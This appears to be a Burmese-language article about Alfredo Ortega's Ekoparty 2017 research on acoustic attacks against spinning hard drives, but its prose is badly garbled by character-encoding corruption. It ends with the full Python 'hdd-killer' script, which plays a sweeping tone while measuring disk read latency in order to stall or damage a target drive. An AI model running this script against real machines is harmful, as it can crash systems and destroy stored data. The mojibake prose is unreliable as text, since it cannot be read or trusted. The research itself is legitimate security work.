
Buenos Aires áá˝ááşááťááşá¸ááááˇáş Ekoparty 2017 áá˝ááşááťá°ááŹááŻáśááźáŻáśááąá¸áá˝ááşááááˇáşáá˝ááş áĄáŹááťááşááŽá¸ááŹá¸áááşáᏠAlfredo Ortega áááş áááŻááşááááŻááŻááşá¸áááŻáĄááŻáśá¸áááźáŻáᲠááťážááŻáˇáážááşááźááŻá¸áááŻááşááźááşá¸áĄáá˝ááş áĄáá˝ááşá áááşáááşá áŹá¸áá˝ááşááąáŹááşá¸ááąáŹ áá˝áśáˇááźááŻá¸áááŻá¸áááşáážáŻááᯠááźááá˛áˇáááşá áĄááś !
HDD áááş áĄááááĄáŹá¸ááźááˇáş ááźááşá¸áááşáážáŻááźááˇáşááŹá¸ááąáŹ ááźáááşáážáŻááşá¸ááááˇáşáĄááśááťáŹá¸á ááźáąááśááťáŹá¸áážááˇáş áĄááźáŹá¸ááŻááşááŤáážáŻááťáŹá¸ááᯠááąáŹááşáá°áááşá áááášááśáááŹáážááşááťáŹá¸ ááźá
áşááąáŹáşáááşá¸ áá°áˇáĄááźáąáŹáĄáááŻááᯠáĄáááĄáážááşáááźáŻáááŻááşááąá¸ááąá (áĽáááŹá gyroscope áááŻáˇáááŻááş HDD ááž áážááşáááşá¸áááşááŹá¸áááˇáş ááźáááşáážáŻááşá¸ááááˇáşááŻááşááŤáážáŻááťáŹá¸ááźááˇáş á
ááŹá¸ááźáąáŹááźááşá¸ááᯠáĄáááĄáážááşááźáŻááźááşá¸)á
áĄááśáááş ááąáááŻááşááŤáážáŻ áááŻáˇáááŻááş áĄááźáŹá¸ááąáŹ ááźáŹá¸ááśááźá
áşáááşá áá°áá
áşáŚá¸áááş áááşá¸áááŻáˇáĄáŹá¸ ááŹá¸á
ááşáážááááˇáş ááááşááááźáŽá¸ áĄáá˝ááşá¸ááŹá¸ááᯠááŻááşááŤáážáŻááźá
áşá
áąáááşá áááŻááşááááŻááŻááşá¸ááᯠááŹá¸áá˝ááşáá˛áˇáááŻáˇ áĄááźááşá¸ááťááşá¸ ááŽáááŻááşá¸ááŻááşááŹá¸áááş - á¤ááąááŹáá˝ááşáááşá¸ ááťážááşá
á
áşáá˝ááşá¸áĄáŹá¸ááᯠáážáŻáśáˇááąáŹáşááąá¸áááˇáş ááŤá¸áá˝ážáŹááąáŹ áĄááźážáąá¸ááŤá¸áá
áşááŻááźááˇáş ááŻááşááŤáážáŻááťáŹá¸ááᯠáážááşáááşá¸áááşááŹá¸áááşá ááŹáˇááşááááŻááşáááş áááşáááşá¸ááťááşááąááŻáĄáááşáĄááťááźáąáŹááˇáş áĄááŻááźááˇáşááŻááşááŤáážáŻááťáŹá¸áááşá¸ áááşááąáŹááşááŤáááşá HDD ááťáŹá¸á áááşá¸áááŹáááŻááşáᏠááááąáááášáááŹááťáŹá¸áážáááş áááážááááş- ááŻááşááŻááşáá°ááťáŹá¸áááş áĄááťáŹá¸áĄáŹá¸ááźááˇáş áá˝ááˇáşááźáŻáááŻááşááąáŹ ááŻááşááŤáážáŻáĄáááˇáşááᯠáá˝ážááşááźááąáˇáážáááźáŽá¸ hard drive áááŻááşáááŻááşá áááşá¸ááᯠááąáŹáşáᏠáááŻáˇáááŻááş áĄááźáŹá¸ insulating material ááźááˇáş ááźáŻááŻááşááŹá¸ááąáŹ ááŻááşááŤáážáŻáááşááśáááŻááşááąáŹ áá˝ááşááááşááŹáá˝ááş ááŹá¸ááąáˇáážááááşá áááşá¸ááž áĄááśááťáŹá¸ááᯠHDD ááźááˇáş áážááşáááşá¸áááşáááŻááşáááşáᯠááąáŹááşááťááşááťáááş áá˝ááşáá°áááşá ááťááşááŹáááąáŹáˇ áááşáááŻááźá
áşááᲠáááŻááŹááᯠáĄááźáąáážáŹáááŻáˇááŤáá˛á
Alfredo Ortega áááş áĄááťáááşáááŻááşáááŻááşáážáŻáᯠáĄáááşááááˇáş ááąá¸áá˝ááşááťááşáááşáááŻááşáááŻááşáážáŻá áá°á¸ááźáŹá¸ááąáŹááŹá¸áážááşá¸ááᯠáĄáááŻááźáŻáá˛áˇáááşá á¤áááŻááşáááŻááşáážáŻáááş ááąá¸ááŹá¸áááˇáş áááˇáşáá˝ááşá¸ááąááŹááąáŤáş áá°áááşá á ááşáá ášá ááşá¸ááąáŤáşáá˝ááş ááá°ááŽááąáŹ ááŻááşááąáŹááşááťááşááťáŹá¸ááᯠáĄááťáááşáĄááťááŻá¸ááťááŻá¸áá˝ááş ááŻááşááąáŹááşáááşáᯠáá°áááťááşáĄááąáŤáş áĄááźáąááśááŹá¸áááşá á¤ááá ášá áá˝ááşá "input data" áááş áááşáááşá¸ááťááşáááŻááşááŤáážáŻááťáŹá¸á áĄááśááźááˇáşáááşá ááşááąáááˇáş á áŹáááşááąáŤááşá¸áážááˇáş HDD áááşáááşá¸á ááŻááşááŤáážáŻááťáŹá¸ááźá áşáááşá áááŻáˇááźáąáŹááˇáşá áá˝ááşááťááşáážáŻáĄááťáááşááᯠáááŻááşá¸ááŹááźáŽá¸ ááąááŹá ááááşá¸ááááşá¸áá˝á˛ááźááşá¸á áááşááźáŹáážáŻááᯠááŻááşááąáŹááşááźááşá¸ááźááˇáşá áŚá¸ááąáŤááşá¸/áááşá¸áááşááźáŹá¸á ááŻááşááŤáážáŻááťáŹá¸ááźáąáŹááˇáş ááźáŹá¸ááśáááŻááşááŤáážáŻááťáŹá¸ááᯠáááŻááşá¸ááŹáááŻááşáááşá ááąááŹáááşááźááşá¸áá˝ááş ááźáŹááźáŹáážáąáŹááˇáşáážáąá¸ááą HDD ááŻááşááŤáážáŻ áĄáŹá¸ááąáŹááşá¸ááąááąá áááŻáˇááźáąáŹááˇáş áĄááśáááŻááťááşááąááźá áşáááşá
hard drive ááŻááşááŤáážáŻááᯠáááşáááŻáááŻááşá¸ááŹááá˛á áĄáá˝ááşáááŻá¸áážááşá¸ááŤáááş- á
áá
áşááąáŤáşáááŻáážáŻáááŻáᏠááŻááşááąáŹááşááŤá read () â ááźáŽá¸ááźáąáŹááşáááş áááŻáĄááşáááˇáşáĄááťáááşááᯠáážááşáááşá¸áááşááŤá ááąááşááŽáááşáááşáážáŻá
áá
áşááťáŹá¸áááş áááˇáşáĄáŹá¸ ááŹáááŻá
áášáááˇáşááááťáážáŻááźááˇáş á
áá
áşááąáŤáşáááŻáážáŻáĄááťáááşááᯠáááşáááŻááşá
áąááŤáááşá
ááášááá áşááŻááž ááááşá¸áĄááťááşáĄáááşááťáŹá¸ áááşáážáŻááźááşá¸áĄááźááşáážáŻááşá¸áááş HDD áĄáááşá ááŻááşááŤáážáŻááťáŹá¸áážááˇáş áááşá ááşááąáááˇáş áŚá¸ááąáŤááşá¸áážááˇáş áááşá¸áááşááźáŹá¸ áĄááąáĄááŹá¸áĄááąáŤáş áá°áááşáááşá ááŤááŤáá˛á
áááŻá¸áážááşá¸ááąáŹ Kscope utility ááᯠáĄááŻáśá¸ááźáŻá á áŹáááşá¸áĄááşá¸áá˝á˛ááźááşá¸á áááşááźáŹáážáŻááᯠááŻááşááąáŹááşáááşá áá°áááŻáˇááźáąáŹáááᯠááŹááşáááŹá áááŻá¸áážááşá¸ááŤáááşá

Kscope áĄááŻáśá¸áááşáážáŻ (stat() syscall)
Kscope áááş á áá áşááąáŤáşáááŻáážáŻááŻááşááąáŹááşáááˇáşáĄááťáááşááťáŹá¸áá˝ááş ááąá¸áááşááąáŹáá˝á˛ááźáŹá¸áážáŻááťáŹá¸ááᯠááźááşááŹá áąáááşáĄáá˝ááş ááąá¸áááşááąáŹáĄááŻáśá¸áááşáážáŻáá áşááŻááźá áşáááşá áĄáááşá¸áĄááźá áş.
ááŽá¸ááźáŹá¸áááŻáážáąáŹááşáážáŻáá˝ááş hard drive áá˝ááş time attack áĄáá˝ááş configure ááŻááşááŹá¸ááąáŹ utility version áá
áşááŻáážáááźáŽá¸ áááŻáááŻáááşáážáŹ system call áááŻáá˝á˛ááźááşá¸á
áááşááźáŹáááş configure ááŻááşááŹá¸áááşá read ().
HDD ááᯠáĄááŻáśá¸ááźáŻá áĄááśáááşá¸áá°ááźááşá¸ áááŻááşááźááźááşá¸á Kscope utility á ááŻááşááąáŹááşáážáŻ

ááŻááşááŤáááşá á ááŹá¸ááśááᯠááŽáááşá¸áá˛áˇ ááŹá¸ááááşáááŻááşááąáááˇáş HDD áᏠááŻááşááŤáážáŻáĄáŹááŻáśááśááááááŹáá áşááŻáĄááąáá˛áˇ áĄááąáŹáşááąá¸ááᯠáááˇáşááťáąáŹáşááŤáááşá áĽáááŹáĄáŹá¸ááźááˇáşá áááááşááźááşá¸á áŽá¸ááŹá¸áá° áááŻáˇáááŻááş ááźáąááąáŹááşáááŹáááşáááşááŹá¸áá°áááş áá˝ááşááťá°ááŹáážááˇáş áĄáááşá¸áá˛áááŻáˇ áááşááŤá á áŹáááşá¸áá˝ááşá¸áááŻááşáááş (ááźá áşáááŻááşáááşá áááŻááşáááŻááşáá°áááş ááťáąáŹáˇááťáąáŹááşá¸ááąáŹáááááşááᯠáááşááŹá¸ááťážááş áááŻáˇáááŻááş ááźááşá¸ááźááşááąáŤáşáá˝ááş ááąáŹáşááąáŹáá°ááŤá HDD áááş ááŻááşááŤáážáŻááťáŹá¸ááᯠá áŹáááşá¸áá˝ááşá¸áááŻááşáááşáááŻááşá፠- ááŤááŹá á áşááąá¸áááťááŻá¸áááşááŤáááşá) áá˝ááşááźá°ááŹáááş áĄááśááźááşá¸ááźááşá¸ááźááˇáş áážááşáá˝á˛ááźááşá¸ áááŻáˇáááŻááş áĄááźáŹá¸ááąáŹ áĄááźá áşáĄááťááşááťáŹá¸ááᯠáážááşáááşá¸áááşáááŻááşáááşá áááŻáááŻáááşáážáŹá ááŹáˇááşááááŻááşáááş áá˝ááˇáşááźáŻááťááşááážááᲠááťá°á¸ááťáąáŹáşáááşááąáŹááşáážáŻááᯠááąáŹááşáážááşá¸ááźááşá¸á áá áşáá áşááťááŻá¸áĄááźá áş ááŻááşááąáŹááşáááŻááşáááşá
HDD áá°áááşáááŹá¸
á ááŹá¸áá ááşá áĄááŹá¸áá°áááşá¸áááŹááᯠhard drive ááťáŹá¸ááᯠdisable ááŻááşáááşáĄááŻáśá¸ááźáŻáááŻááşáááşá áááŻáˇááąáŹáşá á¤ááąááŹáá˝ááş ááťá˝ááşáŻááşáááŻáˇáááş HDD ááž ááŻááşááŤáážáŻááťáŹá¸ááᯠááááşá¸áá°áᲠHDD áááŻáˇááąá¸áááŻáˇááąáŹ ááŻááşááŤáážáŻááťáŹá¸ááᯠááŻááşááŻááşáááşá HDD á ááźáááşáážáŻááşá¸áážááˇáş áá˛áˇáááşáááşááąáŹ ááźáááşáážáŻááşá¸áá˝ááş speaker ááž áĄááśááᯠáá˝ááˇáşááŤáá á áá áşáááş I/O error (kernel) ááźááˇáş áááźáŹáᎠdevice ááᯠááááşáá˝áŹá¸ááááˇáşáááşá Linux (áááşá¸áááş á áášáááˇáş ááá ááźáŹááźáŽá¸ááąáŹááş HDD ááᯠááŻáśá¸áááááşá áąáááşá) ááŹáˇááşááááŻááşáááŻááşáááŻááşá ááźááşáááşááąáŹááşá¸áá˝ááşááŹáááş ááááşáááŻááşá á˝áŹ ááťááşá áŽá¸áá˝áŹá¸áááŻááşáááşá

áĄááá Linux Edifier r19u USB á
ááŽááŹáážáá
áşáááˇáş áá˛áˇáááşáááşááąáŹ ááźáááşáážáŻááşá¸ááźááˇáş ááá á
áášáááˇáşááźáŹ áĄááśáá˝ááˇáşááźáŽá¸ááąáŹááş hard drive ááááşáá˝áŹá¸áááşá á
ááŽááŹááᯠáááşá¸áááŤááŤá ááąá¸ááŻáśáá
áşááŻáśáááˇáş (100 mW áĄáąáŹááş) ááźááˇáş áá˝ááˇáşááŹá¸ááźáŽá¸ HDD ááž áá á
ááşááŽááŽááŹáĄáá˝áŹáá˝ááş ááŹá¸áᏠááŻááşááŤáážáŻááťáŹá¸ááᯠááťá˛áˇáá˝ááşáááş á
áŹá¸áá˝á˛ááᯠááťáááşááŹá¸áááşá HDD killer ááááŻááşááźáážáŻáážááˇáşáĄáá°
HDD ááťáŹá¸ááąáŤáşáá˝ááşá¤áá˛áˇáááŻáˇááąáŹ "áááŻááşáááŻááşáážáŻ" ááťáŹá¸áááşááąáˇá ááşáááá˝ááşáááźáŹáááááąáŹáşáááážáŻááŻáśá¸áááźá áşáá˝áŹá¸ááźáąáŹááşá¸ááááťááşáááşá áĽáááŹáĄáŹá¸ááźááˇáşá 2016 ááŻáážá áş á ááşáááşááŹááá˝ááş ING Bank ááąááŹá ááşááŹáááş ááŽá¸áááşááąáˇááťááˇáşáážáŻááźáŻááŻááşááźáŽá¸ááąáŹááş 10 ááŹááŽááźáŹ ááŻááşáááşá¸áááşáááşáážáŻááᯠáááşáááŻááşá¸ááŹá¸áá˛áˇááááşá ááźááˇáşááŹá¸ááąáŹáááĄáŹá¸áĄáąáŹááşáá˝ááş ááááşááŤááťáŹá¸ááž áá˝ááşááŹááąáŹ inert gas áááťááşááąáŹááşááąáŹáĄááśááźáąáŹááˇáşá áĄááśáááş áĄáá˝ááşááťááşááąáŹááşáááş (130 dB áááşáááŻáááş) ááźá áşááąáŹáşáááşá¸ áááşáááş hard drive ááťáŹá¸áááŻáááş ááĄáąáŹáşáááŻááşááą - áááşá¸áááş HDD ááᯠáááşááąáŹááşááŹáá˝ááş áážáąáŹááˇáşáážáąá¸áážáŻááᯠáááŻá¸á áąáááşá
ááąááŹá ááşááŹáá áşááŻáážá ááŹáˇááşááááŻááşááťáŹá¸áĄáá˝ááşá¸ áá°ááŹá¸ááťáŹá¸á áĄáąáŹáşáá áşááśááᯠáááŻááşááźááźááşá¸á Latency áááŻááşá¸ááŹááźááşá¸á

áá˛áˇáááşáááşááąáŹáĄááśáááŻááŻááşááŻááşáááşáĄáá˝ááş Alfredo Ortega ááŻááąáŤáşááąáŹ Python script áááŻááąá¸ááŹá¸áá˛áˇáááşá ().
áááşá¸áááş áĄáá˝ááşááąá¸áááşááąáŹááźáąáŹááˇáş áááşá¸ááᯠá¤ááąááŹáá˝ááş áĄááźááˇáşáĄá áŻáśááŻááşááąáááŻááşááŤáááşá
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()source: www.habr.com
